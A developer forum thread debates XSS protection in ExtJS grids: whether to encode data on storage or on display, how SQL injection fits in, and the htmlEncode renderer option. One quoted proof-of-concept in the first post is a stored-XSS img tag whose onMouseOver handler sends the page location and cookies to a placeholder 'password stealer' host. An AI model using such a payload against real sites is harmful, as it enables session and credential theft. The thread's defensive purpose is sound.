1. #31
    Ext User
    Join Date
    Feb 2008
    Posts
    22
    Vote Rating
    -1
    outrage is an unknown quantity at this point

      -1  

    Default


    Quote Originally Posted by Alan Knowles View Post
    Here a proof of concept.
    -> there is a user comment form on a website. which comments can be posted:
    -> data is assumed to be just raw text, and is stored in the database 'As is'.
    -> Back end application uses ExtJs to render list of new comments using JSON to just send the data (escaped correctly for JSON) to the Grid.

    Grid renders the data WITHOUT escaping it. - This should not be the default behaviour.
    eg. posted data contains:
    <img src="about:blank" width=10 height=10
    onMouseOver="this.src=http://myfavourate.password.stealer/site=document.location
    +passwords=document.cookies">
    The only problem here is the part I have underlined.
    Under NO circumstances should data be saved to the DB 'As is'. You can't make assumptions that the data is plain text. That's just foolish.

    If you don't have server-side routines to ensure the integrity of your data, no matter what precautions you include on the client-side, they can be easily over-ridden.

  2. #32
    Sencha - Community Support Team mystix's Avatar
    Join Date
    Mar 2007
    Location
    Singapore
    Posts
    6,236
    Vote Rating
    5
    mystix will become famous soon enough

      0  

    Default


    Quote Originally Posted by kmbarr View Post
    I think this is a common-enough requirement, that I'd like to see it simplified by adding a simple htmlEncode (or maybe autoEncode) boolean to the ColumnModel, so the result would look like:
    Code:
    {header:'Venue Name',dataIndex:'venue_name',htmlEncode:true}
    if you pass a string to the renderer config, it'll look in Ext.util.Format for a matching function
    Code:
    {header:'Venue Name',dataIndex:'venue_name',renderer:'htmlEncode'}
    it's 6 bytes longer though, but achieves the same thing without the need to implement a new config option.

  3. #33
    Sencha User Lobos's Avatar
    Join Date
    Oct 2007
    Location
    Sao Paulo, Brazil
    Posts
    461
    Vote Rating
    -1
    Lobos is an unknown quantity at this point

      -1  

    Default


    Quote Originally Posted by jack.slocum View Post
    This discussion isn't even about XSS attacks. If a user on of your web app wants to exec JS, there is nothing you can do to stop them. They can open a FireBug console and exec any JS they want, they don't need a Grid component to be there in able to do it. XSS is when 1 user can input JS that can be executed on another users page. The proper way to prevent that (IMO) is to clean it up before it is stored in the DB, not every time it is displayed.
    Thats right! All data coming into your control layer via query string should be cleansed to protect from XSS and SQL injection. There are a few classes around that help you do this so you should end up with some kind of re-usable function like:

    PHP Code:
    $cleanVar myFilter($_GET['dirtyVar']); 
    Protecting against sql injection is never easy, but i have found that the best technique is to user prepared statements (php5 with the mysqli class), this to me seems a fool proof way to protecting against injection attacks.

    Like Jack says, there is NO responsibility whatsoever in regards to security on the view layer (extJS) as this area is totally open to manipulation via the public. Server side is where you secure things. I use the control layer for this, basically working it like a security layer that organises the access and output of/from the model layer.. actually in my system extJS is not really the view layer, it is more the presentation layer - the control layer routes calls to the required view which then organizes the model and outputs the presentation which can be extjs / html / xml

    So imo Extjs is probably more apt to be called the presentation layer as opposed to view.. idk

    -Lobos

    -Lobos

  4. #34
    Ext User
    Join Date
    Aug 2008
    Posts
    10
    Vote Rating
    4
    caustic is on a distinguished road

      2  

    Default


    Quote Originally Posted by outrage View Post
    The only problem here is the part I have underlined.
    Under NO circumstances should data be saved to the DB 'As is'. You can't make assumptions that the data is plain text. That's just foolish.

    If you don't have server-side routines to ensure the integrity of your data, no matter what precautions you include on the client-side, they can be easily over-ridden.
    Omg, this is completely wrong. It irritates me how people don't understand such simple, trivial things. You should always save raw, unescaped data, as entered by a user to the database. It is only when displaying this data on a web page, you should always properly escape it before rendering it in the html code.

    The reason is simple.

    You are looking at the problem from a very narrow perspective, as if the only way to display data is in a web browser. But if you need to render a PDF report, you don't need any HTML escaping, there is no such thing as XSS in PDF. If you need to send a plain text mail mesasge with user entered data, you don't need any escaping as well. When you need to make a CSV file to open it in Excel, again, you don't have to html encode it, Excel is not vulnerable to XSS. If you write a desktop application which uses the same database as your web application, what data users would see in this desktop app? If you provide a SOAP or REST or XML-RPC interface to your appliaction, why serve escaped data if you don't know how it will be used? If you write a web application for HTML code snippet sharing with plain text download option, would you serve &lt;script&gt; instead of <script> in plain text files? (let's see how this forum will handle angle brackets in my message) Following your approach, what if your html encoding filter has a bug and does not prevent XSS. Then how will you ensure that all the data already stored in the database is safe, will you re-encode it once again? Will you reencode every time the algorithm in your html filter has changed?

    So the only good way to avoid XSS is to encode all the data in you presentation layer, html or extjs or whatever. The most sophisticated web frameworks do this automatically, so you don't wory what user input you put on the html user interface, everything will be encoded by default. But ExtJS is an exception from the rule...

  5. #35
    jay@moduscreate.com's Avatar
    Join Date
    Mar 2007
    Location
    Frederick MD, NYC, DC
    Posts
    16,353
    Vote Rating
    77
    jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all

      -1  

    Default


    Quote Originally Posted by caustic View Post
    Omg, this is completely wrong. It irritates me how people don't understand such simple, trivial things. You should always save raw, unescaped data, as entered by a user to the database. It is only when displaying this data on a web page, you should always properly escape it before rendering it in the html code.
    Doing so leaves you open to SQL Injection attacks. So, stop being so irritated - because you're not completely correct either!

  6. #36
    Ext User
    Join Date
    Aug 2008
    Posts
    10
    Vote Rating
    4
    caustic is on a distinguished road

      1  

    Default


    Quote Originally Posted by jgarcia@tdg-i.com View Post
    Doing so leaves you open to SQL Injection attacks.
    But this is completely different problem! You can avoid SQL injections by, for example (I really mean _example_), not using a relational database at all. That is, you can store all your data in files. However, this way your application still can be vulnerable to XSS attacks, which is very likely if you use ExtJS.

    Quote Originally Posted by jgarcia@tdg-i.com View Post
    So, stop being so irritated
    Sorry, didn't meant to offend anybody.

    Quote Originally Posted by jgarcia@tdg-i.com View Post
    because you're not completely correct either!
    You didn't convince me.

    Obviously, any web application must validate its data on the server. We all know these simple validation rules, such as required fields, email address fields and so on. But in no case an application should prohibit me to use <angle braces> in my input. It should not try to strip or sanitize or somehow cleanup my data. It just has to show me my data exactly in the same form as I entered it, whatever rendering method is user, be it html, plain text, pdf or whatever else.

    As a developer, I don't want to bother encoding user data by hand when rendering it in the browser. I just want a framework to do this for me. Unfortunately ExtJS doesn't. Yes, there may be situations when I want to put a valid markup in cells of a grid, but these situations are minority.

  7. #37
    jay@moduscreate.com's Avatar
    Join Date
    Mar 2007
    Location
    Frederick MD, NYC, DC
    Posts
    16,353
    Vote Rating
    77
    jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all

      -1  

    Default


    Quote Originally Posted by caustic View Post
    But this is completely different problem! You can avoid SQL injections by, for example (I really mean _example_), not using a relational database at all. That is, you can store all your data in files. However, this way your application still can be vulnerable to XSS attacks, which is very likely if you use ExtJS.
    That's a moot point. Storing data in files brings severe limitations (performance, scalability, etc) to an application. We could say that we're going to disable javascript across the world, but that is retarded. XSS Attacks are not limited to any single framework.

    Quote Originally Posted by caustic View Post
    You didn't convince me.

    Obviously, any web application must validate its data on the server. We all know these simple validation rules, such as required fields, email address fields and so on. But in no case an application should prohibit me to use <angle braces> in my input. It should not try to strip or sanitize or somehow cleanup my data. It just has to show me my data exactly in the same form as I entered it, whatever rendering method is user, be it html, plain text, pdf or whatever else.
    That goes against the very basics of web application development - storing data as/is? Again, it leaves you open for a lot of things - possibly even direct code injection (as with php/perl injection attacks);


    Quote Originally Posted by caustic View Post
    As a developer, I don't want to bother encoding user data by hand when rendering it in the browser. I just want a framework to do this for me. Unfortunately ExtJS doesn't. Yes, there may be situations when I want to put a valid markup in cells of a grid, but these situations are minority.
    You don't have to do that by hand.

    In the php world, i htmlencode/decode data to and from the client. No magic required. It's really *not* hard to do. No framework should be trusted with security aspects. Security is only as strong as your application's weakest link!

  8. #38
    jay@moduscreate.com's Avatar
    Join Date
    Mar 2007
    Location
    Frederick MD, NYC, DC
    Posts
    16,353
    Vote Rating
    77
    jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all

      0  

    Default


    Just an FYI, one of the first rules of web application development is NEVER trust what the client is sending you.

  9. #39
    jay@moduscreate.com's Avatar
    Join Date
    Mar 2007
    Location
    Frederick MD, NYC, DC
    Posts
    16,353
    Vote Rating
    77
    jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all jay@moduscreate.com is a name known to all

      0  

    Default


    One more thing, check this book out:
    http://www.amazon.com/gp/reader/0071...tu#reader-link

  10. #40
    Ext JS Premium Member dj's Avatar
    Join Date
    Mar 2007
    Location
    Germany
    Posts
    573
    Vote Rating
    2
    dj has a spectacular aura about dj has a spectacular aura about dj has a spectacular aura about

      1  

    Default


    I think that you are talking at cross purposes...

    Let's combine and agree upon:
    • The server needs to validate all data from the user. It can be perfectly valid to have < or > in some data.
    • The model (stored in a RTDB, files, whatever) should not store the data encoded in a special format (e.g. HTML encoding) when it is foreseeable, that the data could be used in other formats (e.g. PDF) as well (using other encodings; e.g. a binary one in PDF).
    • If you use a RTDB to store your model then you - of course - have to do proper escaping of the data to be safe against SQL Injection.
    • The view needs to encode the data prior to presenting it to the user. That can be done server-side or client-side; it just has to be done.
    It is arguable whether Ext should - as a configurable default - HTML-encode everything before rendering it. In my opinion it is the obligation of the developer to configure Ext the right way (it is very easy to do so and I often explicitly want to allow HTML-markup in a grid/dataview/whatever)
    Daniel Jagszent
    dɐɳiel@ʝɐgszeɳt.de <- convert to plain ASCII to get my email address